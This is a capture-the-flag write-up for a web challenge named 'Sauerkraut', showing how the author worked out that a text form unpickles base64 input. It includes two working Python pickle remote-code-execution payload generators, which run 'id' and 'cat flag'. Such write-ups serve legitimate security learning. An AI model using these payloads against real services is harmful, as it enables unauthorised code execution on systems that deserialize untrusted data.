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# Sauerkraut (Web)
This was a web challenege that had text form where we can submit text
<img src="https://i.imgur.com/5CYfcie.png"/>
On entering some text , it gave us an error about "invalid base64"
<img src="https://i.imgur.com/oDbT5nw.png"/>
So after inputtting encoded text we get this
<img src="https://i.imgur.com/yPef4wk.png"/>
It then showed that "it could not find MARK" , I didn't know what that meant so I just encoded that text
<img src="https://i.imgur.com/bLE5Swn.png"/>
And when I submitted that , it showed me "pickle data was truncated"
<img src="https://i.imgur.com/zB07yni.png"/>
Here I then goolged `pickle` , and found that it's a library or module that allows you to serliaze data , convert them into objects so that it can be passed for different process
<img src="https://i.imgur.com/QB4otDA.png"/>
And this lead me to exploiting to pickle in python , I found a resource where it showed RCE for pickle so this is the PoC that I found
```python
import base64
import codecs
import pickle
class RCE(object):
def __reduce__(self):
import subprocess
return (subprocess.check_output, (['id'], ) )
class RCEStr(object):
def __reduce__(self):
return (codecs.decode, (RCE(), 'utf-8') )
pickle_data = pickle.dumps({'name': RCEStr()})
payload = base64.urlsafe_b64encode(pickle_data)
print(payload.decode('utf-8'))
```
<img src="https://i.imgur.com/59wwxtf.png"/>
<img src="https://i.imgur.com/sTPtoSR.png"/>
Perfect , we have found the we can do remote code execution , all that is left is to find the flag , so I ran `ls` command to see if there's a file we can read
<img src="https://i.imgur.com/bUPduRx.png"/>
```python
import base64
import codecs
import pickle
class RCE(object):
def __reduce__(self):
import subprocess
return (subprocess.check_output, (['cat','flag'], ) )
class RCEStr(object):
def __reduce__(self):
return (codecs.decode, (RCE(), 'utf-8') )
pickle_data = pickle.dumps({'name': RCEStr()})
payload = base64.urlsafe_b64encode(pickle_data)
print(payload.decode('utf-8'))
```
<img src="https://i.imgur.com/KOvSXVb.png"/>
## References
- https://davidhamann.de/2020/04/05/exploiting-python-pickle/
- https://medium.com/@jonoans/sans-mixed-discipline-ctf-wx01-283b6795d34a